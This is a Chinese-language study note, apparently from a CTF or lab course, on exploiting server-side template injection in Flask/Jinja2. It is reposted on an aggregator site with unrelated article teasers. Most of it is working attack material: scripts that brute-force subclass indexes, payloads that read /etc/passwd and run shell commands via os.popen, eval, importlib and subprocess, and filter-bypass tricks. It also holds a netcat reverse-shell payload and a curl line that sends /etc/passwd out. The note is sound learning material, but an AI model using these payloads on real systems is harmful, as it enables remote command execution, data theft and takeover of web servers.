SSTI学习的笔记(橙子)

news2024/9/24 1:20:38

放心,我会一直陪着你

  • 一.在终端的一些指令
    • 1.虚拟环境
    • 2.docker容器
  • 二.SSTI相关知识介绍
    • 1.魔术方法
    • 2.python如何执行cmd命令
    • 3.SSTI常用注入模块
      • (1)文件读取
      • (2)内建函数eval执行命令
      • (3)os模块执行命令
      • (4)importlib类执行命令
      • (5)linecache函数执行命令
      • (6)subprocess.Popen类执行命令
  • 三.绕过过滤
    • 1.双大括号
    • 2.无回显
      • (1)反弹shell
      • (2)带外注入(做不了×)
      • (3)纯盲注
  • 四.实例
    • 1.eval

一.在终端的一些指令

1.虚拟环境

进入虚拟环境flask1

 cd /opt/flask1 
 source ./bin/activate

退出虚拟环境

deactivate

2.docker容器

自动检测

sudo docker run -p 18022:22 -P 18080:80 -i -t mcc0624/flask_ssti:last bash -c '/etc/rc.local; /bin/bash'

查看所有容器

docker ps -a

关闭容器

docker stop <CONTAINER ID>

开启容器

docker start <CONTAINER ID>

更多命令:Docker常用命令之容器命令

二.SSTI相关知识介绍

在这里插入图片描述

${7*7}

a{*comment*}b
${"z".join("ab")}

{{7*7}}
{{7*'7'}}

1.魔术方法

__class__#查找当前类型的所属对象
__base__#沿着父子类的关系往上走一个
__mro__#查找当前类对象的所有继承类
__subclasses__()#查找父类下的所有子类
__init__#查看类是否重载,重载是指程序在运行时就已经加载好了这个模块到内存中,如果出现wrapper字眼,说明没有重载
__globals__#函数会议字典的形式返回当前对象的全部全局变量

2.python如何执行cmd命令

python如何执行cmd命令

3.SSTI常用注入模块

(1)文件读取

①查找子类

_frozen_importlib_external.FileLoader

<class '_frozen_importlib_external.FileLoader'>

②找第几个时的python脚本:

import requests
url =input('请输入URL链接:')
for i in range(500):
	data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
	try:
		response = requests.post(url,data=data)
		#print(response.text)
		if response.status_code== 200:
			if '_frozen_importlib_external.FileLoader'in response.text:
				print(i)
	except:
		pass

在这里插入图片描述
③读取

{{''.__class__.__mro__[1].__subclasses__()[79]["get_data"](0,"/etc/passwd")}}

(2)内建函数eval执行命令

①内建函数:python在执行脚本时自动加载的函数
看是否有eval

{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']}}

②python脚本查看可利用内建函数eval的模块

import requests
url =input('请输入URL链接:')
for i in range(500):
	data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
	try:
		response = requests.post(url,data=data)
		#print(response.text)
		if response.status_code== 200:
			if 'eval' in response.text:
				print(i)
	except :
		pass

③执行

{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /etc/passwd").read()')}}

__builtins__提供对Python的所有"内置"标识符的直接访问
eval()计算字符串表达式的值
__import__加载os模块
popen()执行一个shell以运行命令来开启一个进程,执行cat /etc/passwd(system没有回显)

(3)os模块执行命令

①Flask自带的函数和对象
显示当前flask有哪些函数和对象

{{self.__dict__._TemplateReference__context.keys()}}

—————————————

{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
{{url_for.__globals__.os.popen('ls').read()}}
{{lipsum.__globals__.os.popen('1s').read()}}

②python脚本查找已经加载os模块的子类

import requests
url =input('请输入URL链接:')
for i in range(500):
	data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"}
	try:
		response = requests.post(url,data=data)
		#print(response.text)
		if response.status_code== 200:
			if 'os.py' in response.text:
				print(i)
	except :
		pass

————————————

name={{().__class__.__base__.__subclasses__()[483].__init__.__globals__.os.popen('ls').read()}}

(4)importlib类执行命令

可以加载第三方库,使用load_module加载os

① python脚本查找_frozen_importlib.Builtinlmporter

import requests
url =input('请输入URL链接:')
for i in range(500):
	data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
	try:
		response = requests.post(url,data=data)
		#print(response.text)
		if response.status_code== 200:
			if '_frozen_importlib.BuiltinImporter' in response.text:
				print(i)
	except :
		pass

②执行

{{().__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]('ls -l').read()}}

(5)linecache函数执行命令

linecache函数可用于读取任意一个文件的某一行,而这个函数中也引入了os模块,所以我们也可以利用这个linecache函数去执行命令.
①python脚本查找linecache

import requests
url =input('请输入URL链接:')
for i in range(500):
	data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"}
	try:
		response = requests.post(url,data=data)
		#print(response.text)
		if response.status_code== 200:
			if 'linecache' in response.text:
				print(i)
	except :
		pass

②执行

{{[].__class__.__base__.__subclasses__()[191].__init__.__globals__['linecache']['os'].popen("ls -l").read()}}
{{[].__class__.__base__.__subclasses__()[192].__init__.__globals__.linecache.os.popen("ls -l").read()}}

(6)subprocess.Popen类执行命令

从python2.4版本开始,可以用subprocess这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值.

subprocess意在替代其他几个老的模块或者函数,比如:os.system、os.popen等函数.

① python脚本查找subprocess.Popen

import requests
url =input('请输入URL链接:')
for i in range(500):
	data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
	try:
		response = requests.post(url,data=data)
		#print(response.text)
		if response.status_code== 200:
			if 'subprocess.Popen' in response.text:
				print(i)
	except :
		pass

②执行

{{[].__class__.__base__.__subclasses__()[200]('ls /',shell=True,stdout=-1).communicate()
[0].strip()}}

三.绕过过滤

1.双大括号

①判断是否有

{% if "".__class__ %}Benben{% endif %}

②检测是否有popen

import requests
url ="http://192.168.0.226:18080/flasklab/level/2"
for i in range(500):
	try:
		data = {"code": '{% if "".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("cat /etc/passwd").read()%}Benben{% endif %}'}
		response = requests.post(url,data=data)
		if response.status_code== 200:
			if "Benben" in response.text:
				print(i,"--->",data)
				break
	except :
		pass

③执行(解决无回:print)

{% print("".__class__.__base__.__subclasses__()[117].__init__.__globals__["popen"]("cat /etc/passwd").read()) %}

2.无回显

(1)反弹shell

没有回显,
直接使用脚本批量执行希望执行的命令.

import requests

url ="http://192.168.0.226:18080/flasklab/level/3"

for i in range(300):
	try:
		data = {"code": '{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("netcat 192.168.0.226 7777 -e/bin/bash").read()}}'}
		response = requests.post(url,data=data)
	except :
		pass

for i in range循环执行
当遇到包含popen的子类时,
直接执行netcat 192.168.1.161 7777 -e/bin/bash
监听主机收到反弹shell进入对方命令行界面

(2)带外注入(做不了×)

此处使用wget方法来带外想要知道的内容
也可以用dnslog或者nc

import requests

url ="http://192.168.0.226:18080/flasklab/level/3"

for i in range(300):
	try:
		data = {"code": '{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("curl http://192.168.0.226/`cat /etc/passwd`").read()}}'}
		response = requests.post(url,data=data)
	except :
		pass

同时kali开启一个python http监听

python3 -m http.server 80

(3)纯盲注

四.实例

1.eval

''
""
()
[]
{{''.__class__}}

{{''.__class__.__base__}}

{{''.__class__.__base__.__subclasses__()}}

{{''.__class__.__base__.__subclasses__()[117]}}

{{''.__class__.__base__.__subclasses__()[117].__init__}}

{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__}}

{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /etc/passwd').read()}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/801273.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

暖手宝UL认证 亚马逊UL测试报告 UL499测试项目

UL499测试内容&#xff1a;1、 漏电流测试 2、 输入测试 3、 潮态下漏电流测试4、正常温升测试 5、 耐高压测试 6、 稳定性测试7、异常测试&#xff08;DRY&#xff09;8、 异常测试  9、 静压及强度测试10、 烧熔断器测试、 电源线拉力测试11、 电源线推力测试12、 塑件变…

二、前端高德地图、渲染标记(Marker)引入自定义icon,手动设置zoom

要实现这个效果&#xff0c;我们先看一下目前的页面展示&#xff1a; 左边有一个图例&#xff0c;我们可以方法缩小地图&#xff0c;右边是动态的marker标记&#xff0c;到时候肯定时候是后端将对应的颜色标识、文字展示、坐标点给咱们返回、我们肯定可以拿到一个list&#xf…

怎么清空电脑回收站?教您这三招(附上清空的回收站数据怎么恢复教程)

电脑回收站是一个临时存放被删除文件的地方&#xff0c;如果不清空回收站&#xff0c;这些文件仍然占用磁盘空间。清空回收站可以释放这些空间&#xff0c;提高磁盘的可用空间。那么&#xff0c;怎么清空电脑回收站的东西呢&#xff1f;清空的回收站数据怎么恢复呢&#xff1f;…

ICMP隐蔽隧道攻击分析与检测

• ICMP隧道攻击工具特征分析 一、原理 由于ICMP报文自身可以携带数据&#xff0c;而且ICMP报文是由系统内核处理的&#xff0c;不占用任何端口&#xff0c;因此具有很高的隐蔽性。 通过改变操作系统默认填充的Data&#xff0c;替换成自己构造的数据&#xff0c;这就是ICMP隐…

测试开发第一章、软件测试介绍

一、什么是软件测试 最常见的理解是:软件测试就是找BUG,发现缺陷。 软件测试就是验证软件产品特性是否满足用户的需求。 从这话我们可以看出以下两点: 测试试图验证软件是“工作的”,也就是验证软件功能执行的正确性测试的活动是以测试人员“预期的结果”为依据,这里的…

centos7 部署 k8s 1m2n

1 系统环境准备 1.1 安装所需工具 yum -y install vim yum -y install wget# 设置yum源 mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup wget -O /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-7.repo1.2 修改…

【性能优化篇】.ttf字体包过大引起的网页加载过慢 font-spider 压缩字体包 适用于任何前端项目

背景 项目使用的是阿里巴巴普惠2.0字体&#xff0c;型号分别是 35-thin 和 45-light 这两个字体包 都是 8mb 左右 本地加载的时候可能速度不会收影响&#xff0c;发到生产和测试环境下&#xff0c;速度会很慢&#xff0c;尤其是测试环境&#xff0c;字体包加载了一分钟&#…

详细分析Python中运算符“==“和“is“的区别

目录 Python中运算符"" Python中运算符"is" ""和"is"的区别 总结 Python中运算符"" 在Python中&#xff0c;双等号运算符"" 用于比较两个值是否相等。它返回一个布尔值&#xff0c;即True或False&#xff0c;…

自动完成网页局部区域截图的方法

一般网页包含标题、导航、正文、图片、广告、外链等内容&#xff0c;但只有正文内容对我们才有价值&#xff0c;或者我们只关心其中的数据分析图表。希望把网页有价值的区域截图下来&#xff0c;在手工截图时&#xff0c;可以利用截图工具选择截图区域&#xff0c;那么能自动截…

如何评估自动化测试脚本的编写时间和维护工作量?

一、如何评估自动化测试脚本的编写时间和维护工作量&#xff1f; 评估自动化测试脚本的编写时间和维护工作量是一个复杂的过程&#xff0c;需要综合考虑以下因素&#xff1a; 脚本复杂性&#xff1a;评估脚本的复杂性&#xff0c;包括测试需求的复杂程度、涉及的功能和模块的复…

简单认识Redis 数据库的高可用

文章目录 一、Redis 高可用&#xff1a;1.简介&#xff1a;2、在Redis中实现高可用的技术 二、Redis持久化&#xff1a;1.持久化的功能&#xff1a;2.Redis 提供两种方式进行持久化&#xff1a; 三、RDB 持久化&#xff1a;1.简介&#xff1a;2.触发条件&#xff1a;4.启动时加…

LeetCode 2050. 并行课程 III:DFS

【LetMeFly】2050.并行课程 III&#xff1a;DFS 力扣题目链接&#xff1a;https://leetcode.cn/problems/parallel-courses-iii/ 给你一个整数 n &#xff0c;表示有 n 节课&#xff0c;课程编号从 1 到 n 。同时给你一个二维整数数组 relations &#xff0c;其中 relations[…

jpa生成实体类,jpa根据数据库表生成实体类

jpa生成实体类&#xff0c;jpa根据数据库表生成实体类jpa根据数据库表结构生成实体idea下SpringbootJPA从数据库自动生成实体类JPA用数据库表直接生成实体类Spring boot整合jpa(一),根据表生成实体IDEA下SpringData-JPA根据数据库表生成实体类idea怎么根据数据库表自动生成JPA实…

为什么你在用 ChatGPT 的提示词 Prompt 似乎效果不如人意?

“ 在使用ChatGPT的神奇提示词Prompt时&#xff0c;或许你会发现它的效果并不总是如人所愿。让我们看看其中的原因&#xff0c;以及如何避免这类问题。” 01 — 最近继续在研究以大模型人工智能LLM为大脑的专属知识库的开发技术。偶然看到这么一个智力游戏题目&#xff0c;让大…

HummerRisk V1.3.0 发布

HummerRisk V1.3.0发布&#xff1a; 大家好&#xff0c;HummerRisk 1.3.0和大家见面了&#xff0c;在这个版本中我们继续在多云接入管理、多云检测方式、云资源态势方面提供新的能力&#xff0c;并增加了新的镜像仓库支持类型&#xff0c;并优化了云的区域选择、优化规则组内容…

如何提高单测覆盖率

相关工具推荐&#xff1a; TestMe:用于快速生成测试类 一、抽象一个公共类&#xff0c;将TestMe的配置内容该类MockTest import lombok.extern.slf4j.Slf4j; import org.junit.Before; import org.junit.runner.RunWith; import org.mockito.junit.MockitoJUnitRunner;impor…

基于SpringBoot+Vue的4S店车辆管理系统设计与实现(源码+LW+部署文档等)

博主介绍&#xff1a; 大家好&#xff0c;我是一名在Java圈混迹十余年的程序员&#xff0c;精通Java编程语言&#xff0c;同时也熟练掌握微信小程序、Python和Android等技术&#xff0c;能够为大家提供全方位的技术支持和交流。 我擅长在JavaWeb、SSH、SSM、SpringBoot等框架…

浅浅了解线程池

线程池 1.线程池基本概念(了解)1.1 什么是线程池1.2 为什么使用线程池1.3 线程池的优势 2.创建池的方式3.线程池的工作原理(重点)3.1 线程池的七大参数3.2 线程池的四种拒绝策略AbortPolicyCallerRunsPolicyDiscardPolicyDiscardOldestPolicy 3.3 任务队列 4. 自定义线程池(代码…

提供实习证明和奖学金!面向本科生、研究生的 AI 夏令营!第二期开放报名

无论你是新手还是有AI基础 只要你对AI方向感兴趣&#xff0c;有热情 欢迎你加入Datawhale AI 夏令营 联合科大讯飞、阿里云天池 面向在校本科生、研究生 提供暑期实践学习机会 第二期正式开放报名 线上活动&#xff0c;全程免费 报名时间&#xff1a;2023/7/26 - 2023/8/1 1 关…

​渔网格及多边形网格(蜂窝图)表现空间分布特征

重新排版新发。渔网格及多边形网格(蜂窝图)表现空间分布特征。 练习数据: 爬取的山东省胶东五市文保单位。 先上结果图 1.渔网图表现空间分布特征 整体步骤是先对数据做核密度分析,用渔网工具创建渔网格与点,然后将核密度的值赋至渔网格上,最后进行一系列可视化表达。 …